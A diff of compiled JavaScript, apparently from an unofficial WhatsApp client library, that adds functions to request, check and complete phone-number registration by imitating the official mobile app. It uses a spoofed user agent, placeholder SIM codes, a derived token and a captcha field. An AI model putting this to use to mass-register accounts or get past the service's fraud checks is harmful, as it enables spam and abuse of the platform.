authkey: Buffer.from(params.noiseKey.public).toString('base64url'),
|
|
73
|
+
e_regid: e_regid.toString('base64url'),
|
|
74
|
+
e_keytype: 'BQ',
|
|
75
|
+
e_ident: Buffer.from(params.signedIdentityKey.public).toString('base64url'),
|
|
76
|
+
// e_skey_id: e_skey_id.toString('base64url'),
|
|
77
|
+
e_skey_id: 'AAAA',
|
|
78
|
+
e_skey_val: Buffer.from(params.signedPreKey.keyPair.public).toString('base64url'),
|
|
79
|
+
e_skey_sig: Buffer.from(params.signedPreKey.signature).toString('base64url'),
|
|
80
|
+
fdid: params.phoneId,
|
|
81
|
+
network_ratio_type: '1',
|
|
82
|
+
expid: params.deviceId,
|
|
83
|
+
simnum: '1',
|
|
84
|
+
hasinrc: '1',
|
|
85
|
+
pid: Math.floor(Math.random() * 1000).toString(),
|
|
86
|
+
id: convertBufferToUrlHex(params.identityId),
|
|
87
|
+
backup_token: convertBufferToUrlHex(params.backupToken),
|
|
88
|
+
token: (0, crypto_1.md5)(Buffer.concat([Defaults_1.MOBILE_TOKEN, Buffer.from(params.phoneNumberNationalNumber)])).toString('hex'),
|
|
89
|
+
fraud_checkpoint_code: params.captcha,
|
|
90
|
+
};
|
|
91
|
+
}
|
|
92
|
+
exports.registrationParams = registrationParams;
|
|
93
|
+
/**
|
|
94
|
+
* Requests a registration code for the given phone number.
|
|
95
|
+
*/
|
|
96
|
+
function mobileRegisterCode(params, fetchOptions) {
|
|
97
|
+
return mobileRegisterFetch('/code', {
|
|
98
|
+
params: {
|
|
99
|
+
...registrationParams(params),
|
|
100
|
+
mcc: `${params.phoneNumberMobileCountryCode}`.padStart(3, '0'),
|
|
101
|
+
mnc: `${params.phoneNumberMobileNetworkCode || '001'}`.padStart(3, '0'),
|
|
102
|
+
sim_mcc: '000',
|
|
103
|
+
sim_mnc: '000',
|
|
104
|
+
method: (params === null || params === void 0 ? void 0 : params.method) || 'sms',
|
|
105
|
+
reason: '',
|
|
106
|
+
hasav: '1'
|
|
107
|
+
},
|
|
108
|
+
...fetchOptions,
|
|
109
|
+
});
|
|
110
|
+
}
|
|
111
|
+
exports.mobileRegisterCode = mobileRegisterCode;
|
|
112
|
+
function mobileRegisterExists(params, fetchOptions) {
|
|
113
|
+
return mobileRegisterFetch('/exist', {
|
|
114
|
+
params: registrationParams(params),
|
|
115
|
+
...fetchOptions
|
|
116
|
+
});
|
|
117
|
+
}
|
|
118
|
+
exports.mobileRegisterExists = mobileRegisterExists;
|
|
119
|
+
/**
|
|
120
|
+
* Registers the phone number on whatsapp with the received OTP code.
|
|
121
|
+
*/
|
|
122
|
+
async function mobileRegister(params, fetchOptions) {
|
|
123
|
+
//const result = await mobileRegisterFetch(`/reg_onboard_abprop?cc=${params.phoneNumberCountryCode}&in=${params.phoneNumberNationalNumber}&rc=0`)
|
|
124
|
+
return mobileRegisterFetch('/register', {
|
|
125
|
+
params: { ...registrationParams(params), code: params.code.replace('-', '') },
|
|
126
|
+
...fetchOptions,
|
|
127
|
+
});
|
|
128
|
+
}
|
|
129
|
+
exports.mobileRegister = mobileRegister;
|
|
130
|
+
/**
|
|
131
|
+
* Encrypts the given string as AEAD aes-256-gcm with the public whatsapp key and a random keypair.
|
|
132
|
+
*/
|
|
133
|
+
function mobileRegisterEncrypt(data) {
|
|
134
|
+
const keypair = crypto_1.Curve.generateKeyPair();
|
|
135
|
+
const key = crypto_1.Curve.sharedKey(keypair.private, Defaults_1.REGISTRATION_PUBLIC_KEY);
|
|
136
|
+
const buffer = (0, crypto_1.aesEncryptGCM)(Buffer.from(data), new Uint8Array(key), Buffer.alloc(12), Buffer.alloc(0));
|
|
137
|
+
return Buffer.concat([Buffer.from(keypair.public), buffer]).toString('base64url');
|
|
138
|
+
}
|
|
139
|
+
exports.mobileRegisterEncrypt = mobileRegisterEncrypt;
|
|
140
|
+
async function mobileRegisterFetch(path, opts = {}) {
|
|
141
|
+
let url = `${Defaults_1.MOBILE_REGISTRATION_ENDPOINT}${path}`;
|
|
142
|
+
if (opts.params) {
|
|
143
|
+
const parameter = [];
|
|
144
|
+
for (const param in opts.params) {
|
|
145
|
+
if (opts.params[param] !== null && opts.params[param] !== undefined) {
|
|
146
|
+
parameter.push(param + '=' + urlencode(opts.params[param]));
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
url += `?${parameter.join('&')}`;
|
|
150
|
+
delete opts.params;
|
|
151
|
+
}
|
|
152
|
+
if (!opts.headers) {
|
|
153
|
+
opts.headers = {};
|
|
154
|
+
}
|
|
155
|
+
opts.headers['User-Agent'] = Defaults_1.MOBILE_USERAGENT;
|
|
156
|
+
const response = await (0, axios_1.default)(url, opts);
|
|
157
|
+
var json = response.data;
|
|
158
|
+
if (response.status > 300 || json.reason) {
|
|
159
|
+
throw json;
|
|
160
|
+
}
|
|
161
|
+
if (json.status && !['ok', 'sent'].includes(json.status)) {
|
|
162
|
+
throw json;
|
|
163
|
+
}
|
|
164
|
+
return json;
|
|
165
|
+
}
|
|
166
|
+
exports.mobileRegisterFetch = mobileRegisterFetch;
|